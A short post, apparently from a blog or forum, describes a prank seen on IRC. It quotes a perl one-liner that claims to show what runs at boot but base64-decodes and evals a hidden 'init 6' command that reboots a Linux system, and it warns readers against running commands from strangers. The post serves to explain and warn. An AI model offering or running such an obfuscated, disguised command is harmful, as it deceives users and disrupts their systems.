I saw this on an IRC channel today:
Here, run this to see what you system runs during boot: perl -MMIME::Base64 -e "eval decode_base64('c3lzdGVtKCJpbml0IDYiKQ==')"
When this runs, it decodes the string and executes it. The code that is executed is the "init 6" command, which reboots a linux system. Cruel practical joke...and a good reminder not to blindly run commands that you don't understand from people that you don't know.